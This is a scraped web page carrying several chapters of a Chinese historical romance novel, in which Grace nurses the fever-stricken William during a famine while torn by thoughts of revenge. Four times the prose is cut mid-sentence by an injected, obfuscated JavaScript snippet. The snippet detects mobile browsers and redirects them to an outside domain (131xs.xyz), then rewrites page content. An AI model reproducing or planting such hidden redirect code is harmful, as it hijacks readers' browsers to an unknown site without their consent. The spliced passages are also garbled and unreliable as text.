果然，威廉那双绿色的眼眸黯淡了下去：“他们认为开仓赈济会助长暴民的贪婪，已经下令增加守卫，任何擅闯庄园的人都将被鞭笞。” 格蕾丝皱起了眉。子爵夫妇的立场一向很明确——维护贵族权威高于一切。她看向威廉：“但你不同意。” “我把佩剑和祖母给我的宝石抵押给了城里的犹太商人莱文，”威廉说，“他答应三天内运来二十车粮食。虽然不够所有人度过春荒，但至少能安抚最饥饿的人。” 格蕾丝惊讶地睁大眼睛。那把剑是威廉常佩戴腰间的爱惜之物，而宝石则是祖辈给予的福祉，不应舍弃。 “子爵大人知道了吗？” “还不知道。”威廉的嘴角绷紧，“等粮食到了再说吧。现在的问题是，即使有了粮食，那些房屋倒塌的人也无处可去。谷仓和马厩已经挤满了。” 格蕾丝思索片刻：“教堂呢？圣米厄尔教堂有足够大的地下室和侧厅，或许可以容纳下……” 威廉的绿眼睛亮了起来：“我想过这个。宗教场所不受世俗法律完全约束，但需要神父的支持。但老神父图尔去年冬天去世后，新来的神父名为莫里斯……他不大好说话。” “你要去见他？” “明天一早就出发。” 威廉站起身，突然一个踉跄，不得不扶住椅背。格蕾丝这才注意到他的靴子侧面有血迹渗出。 “你受伤了！”她惊呼，想要站起来却一阵头晕。 威廉迅速后退了一步：“只是划伤，别担心，格蕾丝。这是今天帮农妇挖她被埋的儿子时被木板划的。但是那孩子……没能救出来。” 他那双翡翠绿的眼睛在言说的时候黯淡了下来，像夜晚的湖水失去了它的光泽和色彩，令人忧伤。 又是一个生命的逝去，小屋里一时间寂静无声。 “愿他们的灵魂在天堂安息”，格蕾丝率先打破了安静。时间已经不多了，必须尽快给出办法，越早一刻或许就能够多活下一个生命。 “总之，我跟你一起去见神父，”格蕾丝说，“或许我有办法……” “不行！”威廉猛地抬头，“你还在发烧。而且外面情况不稳定，随时都有流民，太危险了。” 格蕾丝直视他的眼睛：“那些失去家园的人比我危险得多。况且，同作为子爵家的女儿，我的出现能显示家族的重视。” 威廉张嘴想反驳，却突然剧烈咳嗽起来。 格蕾丝这才注意到他的脸颊有不正常的潮红。她伸手去摸他的额头，被那热度吓了一跳。 “你发烧了！”她的眉头更是皱紧了，“你留下，我去解决这件事。” 威廉勉强笑了笑，安抚地拍了拍她的头：“看来我们都得好好休息一晚。” 他走向门口，又回头叮嘱，“答应我别擅自行动。明天……明天我们一起去。” 格蕾丝点点头，看着威廉离开时略显疲惫的背影。她靠在枕头上，思绪纷乱。窗外的雪依然下着，无声地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15642350|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆盖着这片危机四伏的土地。 第二天清晨，格蕾丝被急促的敲门声惊醒。 她的女仆玛丽安慌张地冲进来：“格蕾丝小姐，不好了！威廉少爷天没亮就骑马去了教堂，刚才守卫报告说路上有暴民聚集！” 格蕾丝立刻掀开被子，眩晕感比昨天轻了些：“备马，我要带人去接应。” “小姐！但是，但是……我们的马在来的路上已经冻死在雪地里了……” “那就去邻居家借，驴也好什么都好，只要能在冬天里前行，什么都没有我们就步行过去。” 说着格蕾丝已经穿好外套，她把枕头边那一把小巧的银柄匕首塞进了靴筒，这是威廉在离开前放在她身旁的。 十分钟后，格蕾丝带着瑞娜和威廉留下的两个护卫悄悄从侧门离开了。 雪终于停了，但道路仍然泥泞不堪。他们策马疾驰，格蕾丝的心跳几乎随着每一次马蹄声加速，她也不知道自己在害怕什么。 转过一片橡树林，他们看到了令人窒息的景象：教堂前的空地上，威廉被十几个手持棍棒的农民围在中间。他的马倒在一旁，腿上插着一支箭。威廉自己额头流血，却仍站在教堂台阶上，试图对人群喊话。 格蕾丝毫不犹豫地抽出护卫的剑，高举过头：“以子爵的名义，退下。” 人群里骚动了起来。 一个满脸胡须的大汉转身吼道：“又是这些吸血的贵族！我们的孩子在挨冻受饿，他们却……” 威廉突然高声打断了他：“约克，你女儿丽兹的咳嗽好些了吗？我上次送去的药有效吗？” 那大汉愣住了，棍棒稍稍放低：“……好些了。但那又如何？一剂药救不了我们所有人！” “我知道，”威廉说，他看上去疲惫极了，但声音却仍然十分坚定，“所以我带来了这个。” 他从怀中掏出一卷羊皮纸，“莫里斯神父已经同意开放教堂作为避难所了。而且三天内会有二十车粮食运到，将按家庭人口分配。” 人群发出惊讶的低语。 格蕾丝趁机带护卫靠近，站到威廉身边。她注意到他手中的文件上确实有教堂的印章，但威廉的脸色苍白得可怕，全靠意志力支撑着。 “为什么帮我们？”叫约克的大汉怀疑地问，“你们贵族从来只关心自己的粮仓和猎场。” 威廉直视他的眼睛：“因为保护自己土地上的人民是贵族的义务。不论他人是否履行，我会从一而终。”他右手成拳放于左胸前，向农户们起誓。 完成这一切，他似乎总算放下了心，他朝格蕾丝点了点头，正要抬步向前走，却突然剧烈咳嗽了起来，紧接着身体一晃。 格蕾丝一步冲上前扶住了他，对人群说道：“你们想要的是生存，不是流血。他抵押了自己的宝物为你们换粮食，现在他需要医生。让开路吧。” 人群沉默了片刻，然后慢慢分开一条通道。约克甚至上前帮忙扶起威廉受伤的马。 回程的路上，威廉几乎伏在马背上。 格蕾丝让一名护卫先行回去请医生。当他们再次回到农户家里时，却发现…… 19. 第十九章 魔鬼最妙的诡计，是说服你相信他并不存在。 ——《恶之花》 当格蕾丝和护卫们再次回到农户家里时，却发现农户家的房门洞开。 那扇吱呀可怜的木门已经被踹得不成样子，只剩下半个还挂在门上尽责地阻挡着外边袭来的风雪。 格蕾丝见状率先走上推开了木门，风雪便裹挟着雪粒子合着她的步伐一齐往里冲，寒意唰地充满了这间屋子。 格蕾丝进去后向四周一看，屋内一片狼藉，狭小的房间如同被野兽造访过一般，风卷残云地几乎没有留下什么食物了。 墙角边原本码放整齐、鼓鼓囊囊的粮食不翼而飞，仅存的几个袋子也东倒西歪地垂落在地上，袋口撕裂，只有星星点点的麦粒混杂着泥土泼洒在地上。 石质灶台上的铁锅倾倒，里边的豆子和咸肉块也全都消失不见了，只余下一点点的汤汁混杂在灶台边，滴滴答答地顺着灶台的边缘滑落下来，和地上的尘土混作一团，吸引了蚂蚁的到来。 一时之间，所有人都停滞住了，沉默和窒息感犹如填入屋中的风雪一般浸润了整个房间，离去之时只留下冰凉的触感。威廉的努力与流民的所作所为……周围所见的人都会为他不平。 侍卫长费力克斯见到此景时，他的脸瞬间就因愤怒憋红了血色，他魁梧高大的身材微微颤抖，嘴唇在无声地翕张着。于是在片刻的沉寂后，他猛地将拳头砸在了门框上，那扇木门终于叹息着倒下了，木屑伴着纷飞的雪花扑朔朔落了他满身：“该死的！这群饿疯了的蛆虫！” 说到这他就自觉失言，背过了身去，径直大步走向外边，到雪里冷静去了。 而格蕾丝的心在看到门内的景象时也沉了下去。 她几乎是踉跄着冲到那堆残存的粮食旁，指尖触碰到粗糙的麻袋，冰凉一片。 她飞快地扫视、估算。心也随着她粗略的估算中渐渐沉入冰窟。剩下的这点粮食，即便按照最苛刻的标准发放，怕是熬到明天日出，已是极限。 “清点出来，”但她的声音出乎意料地平稳，熟悉她的人会知道她尾音仍然带着丝丝颤抖，“还有多少？精确到勺。” 护卫们无声地行动起来，他们将散落的麦粒小心地扫拢归集，清点着破损粮袋里残余的分量。 数字被低声报出，每一个都像一剂重锤敲在格蕾丝心上。 三天。 新的粮食最快也要三天后才能送到。 而窗外，暴风雪正以更为狂暴的姿态席卷着天地，灰黑色的云层低垂，仿佛永远不会散去。 车队？在这样的天气里，它们能准时出现吗？ 那微弱的希望，渺茫得如同雪夜里的一点烛火。 我们真的能活下来吗？ 一股强烈的焦灼感猛地冲上喉咙，烧的人抓心挠肺的。 格蕾丝用力地闭上眼，指甲在深思中几乎掐进了掌心。 不行。她对自己说，必须冷静，无用的恐慌在这面前只会坏事。 “小姐，就算掺上麸皮，也只够发到明天中午。”护卫清点的结果出来了，非常不容乐观。 “要不，我们现在快马加鞭去向子爵大人和夫人……”另外一个护卫小声提议道。但他的声音很快就在费利克斯转身而来的凶狠瞪视下消弭无形。 闻言，格蕾丝的嘴角也扯出一个嘲讽的微笑。 求助？瞧这群天真的侍卫们，还抱着不切实际的幻想呢。 如果他们肯伸出援手，威廉……她下意识地回头望向门口。 他又怎么会沦落到抵押佩剑和祖母留下的宝石，只为换取这点原本就杯水车薪的救济粮？埃斯特家族的高墙之内，恐怕只有冰冷的算计吧。 或许唯一的答案，是那个名为卢卡斯的陷阱。 那个在埃斯顿庄园舞会上对她投来意味深长目光的贵族，那个以“合作”为名，私下向她递出橄榄枝的男人。 他到底想要什么？是埃斯特家族的弱点？还是内部的不和？或者是别的更深、更黑暗的东西？ 格蕾丝对此一无所知。不，她或许已隐隐有了一些猜测。 卢卡斯就像一个隐藏在丛林中的狩猎者，邀请她一起踏入这危险的丛林。 不过这正合她意，是的，复仇需要力量，需要盟友，哪怕这盟友心怀叵测。 但代价呢？引狼入室的代价会是什么？ 我又是否能够偿付。 就在这令人窒息的权衡间，一阵压抑的、断断续续的呻吟从门口传来。 两名护卫正小心翼翼地抬着威廉进来。 威廉整个人都瘫软着，脸颊泛着不正常的潮红，嘴唇却干裂泛白，他每一次的呼吸都很深重，随着呼吸，他的身体还伴随着不定的颤抖。 护卫们将他安置在屋内唯一的一张床上，也就是昨天格蕾丝所躺的那一张。 “水……” 威廉在昏迷中发出模糊的呓语。 同样的话语，格蕾丝昨天也说过。她下意识地往灶台上的铁锅里看去，却恍然想起那里已经是狼藉一片了。 威廉的眼神有些许涣散了，眼睛毫无焦点，嘴里还在喊着“……好冷……” 格蕾丝于是快步走了过去，蹲下了身。 她的手背刚一贴上威廉的额头，就被那惊人的热度烫得缩了一下。 这温度，远比在路上时更加骇人。她的心为此猛地一沉。 “医生呢？”她猛地抬头，目光锐利地扫向费利克斯，“派去请医生的人为什么还没回来？这都多久了！” 费利克斯的眼神里也透出了焦躁：“格蕾丝小姐，雪太大了，路完全被埋了！他们骑马也快不了……来回至少要大半天啊！而且……” 他顿了顿，声音低了下去，“这种天气，村子里的草药医生……愿不愿意冒险出来都难说。” 仿佛为了印证他的话，威廉的身体突然剧烈地抽搐了一下，喉咙里发出一串意义不明的咕哝，额头转瞬之间就冒出了大颗大颗滚烫的汗珠。 肉眼可见地，威廉的生命在病痛和寒冷的双重打击之下以极快的速度消散着，只要一个合适的时机…… 一个冰冷而诱人的念头，突然就像一条毒蛇一般悄然缠上了格蕾丝的心。 时机。 这正是一个绝妙的时机。 只要她什么也不做。也不需要她亲自动手，甚至不需要她开口阻止。 只需要……静静地等待。 几个时辰，或者更快，这场高烧就会带走他。 这个埃斯特家族的长子，子爵大人寄予厚望的继承人，一个真正怀有骑士精神、并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651360|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且试图照亮这污浊世道的可笑的理想主义者，就将无声无息地死在这个肮脏、寒冷的农户棚屋里。 复仇的甜美果实啊，简直唾手可得。 格蕾丝的指尖无意识地抠进了亚麻衬衣里，粗糙的质感磨得她的手生疼，一段时间的贵族生活几乎淡化了她手上的茧子。 威廉·埃斯特……这个名字在她心底反复咀嚼。 他和那个家族里的其他人其实完全不同。 没有刻薄的嘲讽，也没有高高在上的施舍姿态。 在埃斯顿庄园那段短暂却压抑的寄居岁月里，只有他为她们伸出了援手，只有他主动帮助她取得了身份，也只有他温和的双眼望着她，克制的语言教导她的礼仪。 他是那片冰冷灰暗里，唯一微弱却又真实的光。 ——但也正是这点可怜的光！ 一股尖锐的恨意猛地撕裂了短暂的温情回忆。 为什么？为什么偏偏是他？ 为什么要在她心中早已被仇恨冰封的荒原上，投下这一点点微弱的光亮？ 让她在无边无际的黑暗里，偶尔还能瞥见一丝所谓“良善”的可憎倒影？ 让她无法彻底沉沦，无法心无旁骛地拥抱那纯粹的复仇烈焰？ 蓓丽……她的蓓丽，为什么活下来的是她，而不是那个笑容像春天一样的妹妹？ 天人永隔的痛苦日夜啃噬着她，而威廉的存在，他那种无用的、徒劳的“善”，就如同一面残酷的镜子，映照着她内心的撕裂和软弱。 杀了他！ 心底有个声音在疯狂叫嚣。 只要他死了，这世上就少了一个能时时映照出她内心动摇的“好人”。 她的复仇之路将不再有来自内部的拷问。 她将彻底坚硬，彻底冰冷，像一把淬火的匕首，再无迟疑地刺向埃斯特家族的心脏！ 这样的贵族，这种明知无法拯救所有人却还要不自量力去救的蠢货，这种坚守着虚幻理想的傻瓜，就不该存在于这世上！是他们！是他们扭曲的秩序，间接害死了蓓丽！ 格蕾丝的目光落在威廉痛苦扭曲的脸上，又缓缓移向他脆弱的脖颈。 她的呼吸变得异常缓慢而深重，胸口剧烈起伏，仿佛正在进行一场无声的搏斗。 只要她此刻转身离开，或者仅仅是拖延……几个时辰后，她就可以带着威廉冰冷的尸体，在护卫的簇拥下强行返回埃斯顿山庄。 是的，接下来的路会更艰难，庄园里那些恶意的目光会更加肆无忌惮，子爵夫人的刁难会变本加厉。 但是那又如何？她的心将不再有裂缝，不再有犹豫。它将彻底化为一块坚冰，一块只燃烧着复仇之火的坚冰！ 草堆上，威廉的身体又一阵猛烈地痉挛，他发出一声模糊不清的痛呼，头猛地偏向一边，干裂的嘴唇翕动着，似乎在呼唤什么。 费利克斯急忙单膝跪下，用一块沾了雪水的破布，笨拙而焦急地擦拭他滚烫的额头和脖颈。布块很快被烘热，护卫长脸上混杂着忠诚和无措的痛苦。 格蕾丝死死盯着那张因高烧而扭曲的年轻脸庞。 时间在令人窒息的沉默中流淌。 每一秒都像在油锅里煎熬。 复仇的毒液和另一种她不愿深究的东西在血管里激烈冲撞。 20. 第二十章 爱是发烧，永远饥渴，却又永远餍足。 ——《十四行诗》 “……蓓丽……” 一声极其微弱、如同叹息般的呓语，从威廉干裂的唇间逸出，模糊不清，却像一道惊雷，狠狠劈在格蕾丝紧绷的神经上。 格蕾丝的身体猛地一颤，仿佛被无形的鞭子抽中。 “什么……威廉你说的是……” 她猛地贴近威廉的耳边，可威廉在这一短暂的呓语后就不再言语。 格蕾丝沉默片刻后，倏然抬眼，目光如冰锥般刺向费利克斯：“卢卡斯！” 护卫长擦拭的动作顿住了，愕然抬头，似乎没听清：“小姐？” “伦敦来的新贵卢卡斯！” 格蕾丝的声音陡然拔高，斩钉截铁，带着一种破釜沉舟的决绝，几乎压过了屋外呼啸的风雪声，“我知道他的庄园离这里并不远，只要穿过东边的黑松林，再渡过拿度河，走到尽头就是他的私人庄园。” “现在！立刻派你手下骑术最好、体力最强的人，用最快的马到他的庄园去，现在就去！”每一个字都像从格蕾丝的牙缝里迸出来的，她的声音几乎带着孤注一掷的狠劲。 费利克斯的震惊只持续了一瞬，随即被严峻的现实和命令的紧迫感取代。 他毫不犹豫地点头：“是，格蕾丝小姐！我亲自挑人！”他立刻起身，魁梧的身影带着风冲向门外。 “等等！”格蕾丝在他即将跨出门槛时厉声喝道。费利克斯猛地停住，回头望来。 风雪从敞开的门洞里疯狂涌入，雪块扑打在格蕾丝的脸上，让冰冷刺骨的感受瞬间穿透了全身。 她明明站在门内的阴影里，眼神却锐利得像一把刀锋，直直刺向护卫长：“告诉他，我同意他之前提出的合作。以此为条件，要他立刻、马上，派一支足够的人手，押送至少能支撑十天的粮食，还有最好的医生！天黑之前，医生必须到这里！粮食……最迟明天正午！” 她的声音在呼啸的风雪中异常清晰，带着不容置疑的命令，“至于合作的具体内容，稍后我会亲自与他谈。但记住，粮食和医生，是此刻唯一的条件！告诉他，耽误了时间，一切作废！” 费利克斯深深吸了一口冰冷的空气，重重点头，脸上是显而易见的凝重：“明白！粮食！医生！最快速度！”他不再有丝毫的迟疑，高大的身影猛地扎进门外翻卷的雪幕之中。 剩下的护卫合力搬起倒塌的门板，将它斜靠在门框上，暂时地隔绝了部分风雪声，但屋内凝滞沉重的空气却并未因此缓和。 护卫们在搬完后木板后就沉默地站在角落里，目光时不时地在昏迷的威廉和挺直脊背伫立在门边的格蕾丝之间来回移动。 整个房间里的气氛紧绷得如同拉满的弓弦。 格蕾丝却一直望着屋外没有回头。 她背对着所有人，面朝着那扇被风雪刮动震颤不已的门板，眺望着远方的山雪。 门外，是费利克斯急促远去的身影，在一阵奔袭之后，他的影子迅速被狂暴的风雪吞没。 门内，是威廉压抑痛苦的喘息，就像漏气的风箱在竭力地拉扯。 一直望到费利克斯的身影再也消失不见，望到身上隐隐发冷，格蕾丝才缓缓地转身。 她脚步沉重地走到那个残存的粮堆旁。粮袋已经干瘪，里边大部分的麦粒早就一扫而空，只剩下护卫们费心收捡、拾掇的几小堆麦子。数量很少，混杂着泥土，很可怜的样子。 格蕾丝蹲下身子，伸出手指，探入那小堆的麦粒之中。 麦粒的手感很粗糙，但颗粒饱满完整，是精良的上品麦子。 她再抓起一把麦子，看着它们从她的手指缝间沙沙滑落，再重新汇入那少得可怜的谷堆里。 “格蕾丝小姐……”一个年轻的护卫看着她的样子，忍不住开口，“这点粮食……我们接下来怎么办？” 格蕾丝的动作停住了。 滑落的麦粒在她的脚下积成一个小小的锥形。 她抬起眼，目光扫过护卫们疲惫而焦虑的脸，最后落在角落里那个躺在稻草床上脸色发白，双眼紧闭，嘴唇干裂的威廉身上。 她的眼神由此一点点聚焦，重新变得锐利、冰冷，带着一种近乎冷酷的清醒。 她站起了身，拍了拍手上的尘土，声音不高，却清晰地传到每个人耳中：“从现在起，所有人，包括我，”她顿了顿，目光扫过门外探头看进来的农户母子，“口粮减半。” “再把剩下的麦粒分成二十份。” 她听见自己说，“每份掺一半锯末。” 瑞娜倒吸一口气：“小姐……那会吃死人的！” “总比饿死强。” 格蕾丝不再看他们。 她走到角落的水缸边，拿起一个相对干净的陶碗。缸里结了层薄冰，她用碗沿用力砸开冰面，舀起半碗混着冰碴的冷水。然后，她走到威廉躺着的草堆旁，重新跪坐下来。 费利克斯留下的那块破布还搭在威廉滚烫的额头上，已经被烘得半干。 格蕾丝将它取下，浸入冰冷的碗中。刺骨的寒意瞬间透过湿布传到她的指尖。她拧干布片，动作生硬，带着一种近乎自虐的专注。冰冷的湿布重新覆盖在威廉的额头上。 昏迷中的威廉被这突如其来的冰冷刺激得浑身一颤，发出一声模糊的呻吟，眉头痛苦地紧锁起来。他无意识地扭动着身体，试图摆脱那令人不适的冰凉触感。 格蕾丝的手稳稳地按着那块湿布，阻止他挣脱。 她的动作没有丝毫温柔，甚至有些粗暴。 她的眼睛，低垂着，死死盯着威廉因高烧而异常潮红的脸，盯着他干裂渗血的嘴唇，盯着他颈侧随着痛苦呓语而跳动的脆弱血管。 那眼神极其复杂，像暴风雪来临前的天空，翻涌着最深的恨意，最冰冷的决绝，以及一种连她自己都不愿承认的、被强行压制的……动摇。 “撑住，威廉·埃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651361|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯特，我的——威廉哥哥。” 她的声音压得极低，如同耳语，冰冷的气息拂过威廉灼热的皮肤，只有她自己能听清，“你的命……现在是我的了。要死，也得死在我需要的时候。” 每一个字，都像是从冰封的深渊里凿出来，带着刺骨的寒意和一种扭曲的占有欲。 她维持着这个按压的姿势，像一尊被冻住的石像。 时间在屋外风雪的咆哮声和屋内压抑的呼吸声中缓慢爬行。 每一次拧干布片，重新浸入刺骨的冰水，都让她的手指冻得发麻，失去知觉。 那冰冷的触感仿佛顺着指尖蔓延，试图冻结她血管里奔涌的、滚烫的恨意。 不知过了多久，也许只有一刻钟，也许像一个世纪般漫长。当格蕾丝再一次将冰凉的湿布覆上威廉额头时，他滚烫的身体猛地剧烈抽搐了一下，喉咙里发出“嗬嗬”的怪响，紧接着是一阵撕心裂肺的呛咳。 他痛苦地蜷缩起来，身体弓得像只煮熟的虾，每一次咳嗽都耗尽全身力气，仿佛要把五脏六腑都咳出来。 咳到最剧烈时，他上身猛地一挺，一大口暗红色的、带着泡沫的粘稠液体毫无征兆地喷溅出来！ “呃啊——！” 温热的、带着浓重铁锈腥气的液体，星星点点地溅到了格蕾丝的手背上，还有她跪坐的裙裾上。那刺目的红，在昏暗的光线下显得异常狰狞。 “少爷！”旁边的护卫失声惊叫，扑了过来。 格蕾丝的身体在那一瞬间彻底僵住。 她低头看着手背上那几点迅速变得暗沉黏腻的猩红。那滚烫的触感仿佛火星，燃烧了布料，狠狠卷烫在她的皮肤上，直抵灵魂深处。 碗里冰冷的雪水映着她骤然收缩的瞳孔，和瞳孔深处那一闪而过的、近乎恐惧的震颤。 咯血了。 这个认知像一柄冰冷的重锤，狠狠砸在她刚刚筑起的、摇摇欲坠的心防之上。 她试图用冰水冻住的那些汹涌的东西——恨意、算计、冷酷的决心。可在这一口刺目的鲜血面前，似乎出现了一道细微却清晰的裂痕。 她猛地闭上眼，深深吸了一口气。那冰冷的空气带着血腥味涌入肺腑，激得她浑身一颤。 再睁开眼时，所有外泄的情绪已被强行压回眼底最深处，只剩下一片深不见底的寒潭。 她迅速用那块沾血的湿布擦掉威廉唇边的血沫，动作依旧带着一种近乎麻木的机械感，只是擦拭的力道似乎比刚才重了几分，仿佛要将什么不该有的东西一并抹去。 “拿干净的水来。” 她的声音冷硬如初，听不出丝毫波澜。 护卫慌忙递上另一碗水。格蕾丝接过，将沾血的布扔进角落的灰堆，重新拿起一块相对干净的，浸湿、拧干，再次覆盖在威廉的额头上。 她的动作恢复了之前的稳定，甚至更加专注。只是那只沾了血的手，在无人注意的阴影里，正无法控制地微微颤抖着。 21. 第二十一章 清晨披着赤褐色的外衣，已经踏着那边东方高山上的露水走过来了。 ——《哈姆雷特》 屋子里安静的很，格蕾丝的动作依旧，安静地替换威廉额头上的巾布。 侍卫们着急的、不规律的呼吸也随着格蕾丝有条不紊的动作渐渐平静了下来。 她平稳的姿态、冷静的言语安抚了在场人的心，让大家都相信她能带领大家解决一切困难，带着威廉度过难关。 命运似乎也并非想要绝了威廉的生路。 就在威廉高热咳血不久后，屋外风雪中就传来了哒哒的马蹄声，似乎有人朝着这个小屋里来了。 格蕾丝从重复机械的动作中停了下来，抬眼给了屋子中靠墙站着的一个侍卫一个眼神，侍卫随即心领地悄声缓步站到了门板斜搭起的门后。 他侧着身子往外望去，想要探听清楚，来的究竟是流民还是救援。 其实这个节骨眼上，来的是救援的可能性非常低，侍卫长费利克斯才刚出去求援不久，不可能此时就回来。 所以来者更大的可能性是流民，但如果来的是流民，那就非常不妙了。即便这个屋子内的粮食早已被洗劫一空了，格蕾丝她们还带着几个护卫。但威廉如今的况状不妙，如果遇上冬日里缺粮少食又憎恨贵族的流民，恐怕她们未必能够逃出生天了。 “几个人？”格蕾丝压低声音问道。 “听马蹄声，只有一匹马。”侍卫贴在门缝处回答，他的手已经按在了剑柄上。 当听到外边有马蹄和人靠近的声音时，整个屋子内的气氛又再度紧绷了起来。 所有的护卫全都屏住了呼吸，将佩剑取出握在了手里，格蕾丝也将威廉昨天赠予她的那把银质匕首从筒靴里拔了出来，悄悄地藏在了袖子里。 气氛已经紧张得一触即发了，所有人都能感受到门外马蹄声就是冲着这间小屋里来的，他们直径走向了小屋。 “咚咚咚”，敲门的声音传了过来，伴随着一个人的问话，“咳咳，有人吗？” 屋内无人回复，大家都屏住了气息准备下手。格蕾丝做了个手势，两个侍卫悄无声息地移动到门两侧，随时准备出击。 屋外人也不等人的回话，直接推门就进。 门在他的推动下啪地一声向前倾倒，伴随着他一声疑惑的：“咦？这门怎么……” 话音未落，两个侍卫已经扑了上去。 屋外的风雪唰地一下漫了进来，进来的人也“啊”大叫一声被侍卫们给拿下，摁在地底了。他的药箱摔在地上，发出沉闷的撞击声，几包草药散落了出来。 “不是！我好心冒着风雪出来给你们家小姐看病，你们居然这样对我！”那地上之人见自己被摁压着，突然哇哇大叫了起来。 闻言，格蕾丝仔细地打量起眼前之人来了。 少见的黑色头发，穿着半旧不新的粗麻布衣裳，背上还斜挎着一个木制的药箱子，看上去就像个不伦不类的赤脚医生。 “我们不曾叫过医生，你是哪里来的？”格蕾丝眯起了眼睛，怀疑地打量着眼前的人。 “咳……你们，”这个年轻的赤脚医生被背上的侍卫们压得一窒，要喘不上气来了。 “昨天！昨天！也是你们这打扮的侍卫来请我的！这样的雪天，要不是我心善，不会来的。” 呼啦一声，门外又有人进来了，是威廉昨天派去替格蕾丝延请医生的护卫，没想到今天格蕾丝的病情稳定了，反倒是为威廉派上了用场。 进来的护卫几乎是有些吃惊地看着眼前的一幕。 “格蕾丝小姐……”他快步走到格蕾丝面前，低声复命。 “托马斯！”医生挣扎着喊道，“快告诉他们我是谁！” 格蕾丝看了他一眼，又看向地上的人：“他说是你请来的医生。” “是的，小姐。”护卫点头，“昨天威廉大人吩咐我去找医生，我在附近的村子里找到了他。但因为暴风雪，我们走散了，直至今天才回到这里。” 格蕾丝皱了皱眉，示意侍卫们松开手。 那赤脚医生狼狈地爬起来，拍了拍身上的灰尘，抱怨道：“你们这些人，真是好心没好报。我冒着这么大的风雪赶来，差点把命都搭上，结果一进门就被按在地上。” “抱歉，”格蕾丝语气平静，“现在情况特殊，我们不得不谨慎行事。” 医生哼了一声，目光扫过屋内，最后落在了躺在草堆床上的威廉。 “这就是病人？”他问道，语气里的不满稍微缓和了一些。 “是的，”格蕾丝点头，“他昨晚开始高烧不退，今早咳了血。” 医生走到威廉身边，蹲下身来，翻开他的眼皮看了看，又摸了摸他的额头和脖子。 “烧得很厉害，”他说道，打开药箱取出几样工具，“得先退烧，再处理内热。你们要放血疗法对吧。” 格蕾丝按住他取刀的手：“先退烧。” 医师怔了怔，总算抬起眼打量一会格蕾丝，他看着她清秀却带着伤痕的面容，突然咧嘴笑了：“聪明的姑娘。那就先用这个。” 他取出一个小瓶子，倒出几粒药丸，递给格蕾丝：“用温水化开，给他服下。” 格蕾丝接过药丸，示意侍卫去准备温水。 医生又从药箱里拿出一包草药，交给另一个侍卫：“煮成浓汤，一会儿给他灌下去。” 屋内紧张的气氛逐渐缓和下来。侍卫们收起武器，各自回到原来的位置。格蕾丝依旧站在威廉身边，目光始终没有离开医生的动作。 医生察觉到她的视线，抬头看了她一眼：“放心，他只是受了风寒，加上劳累过度，不是什么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663957|171995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病。” 格蕾丝点了点头，但眉头仍未舒展。 医生见状，叹了口气：“你们这些人，总是疑神疑鬼的。我要是真想害你们，刚才就不会喊那么大声了。” 格蕾丝没有回应，只是静静地看着威廉的脸。 药汤很快煮好，侍卫端了过来。 医生接过碗，扶起威廉的头，慢慢将药汤灌入他的口中。威廉在昏迷中皱了皱眉，但还是咽了下去。 医生放下碗，擦了擦手：“再过一两个时辰，烧应该就能退下来。到时候再喝一次药，明天就能醒了。” 格蕾丝终于松了一口气，向医生微微颔首：“谢谢。”医生摆了摆手：“不用谢，反正你们给了钱的。”他收拾好药箱，站起身来，“我得走了，村子里还有别的病人。” “现在？”格蕾丝有些意外，“外面的风雪这么大，你一个人回去不安全。” 医生笑了笑：“习惯了。再说，你们这里也没地方让我留宿。” 格蕾丝看了一眼屋内拥挤的空间，确实如此。她示意侍卫小心地取来一些干粮和一小袋银币，递给医生：“路上小心。” 医生接过干粮和钱袋，掂了掂，满意地塞进怀里：“那我走了。如果他的病情有变化，可以到村子里找我。” 说完，他转身走向门口，推开那扇已经歪斜的门，消失在风雪中。 屋内再次安静下来。 格蕾丝坐回威廉身边，轻轻摸了摸他的额头，似乎真的没那么烫了。 侍卫们也各自找了地方坐下休息，有人开始小声地交谈，有人闭目养神。时间一分一秒地过去，屋外的风雪依旧肆虐，但屋内的气氛却比之前轻松了许多。 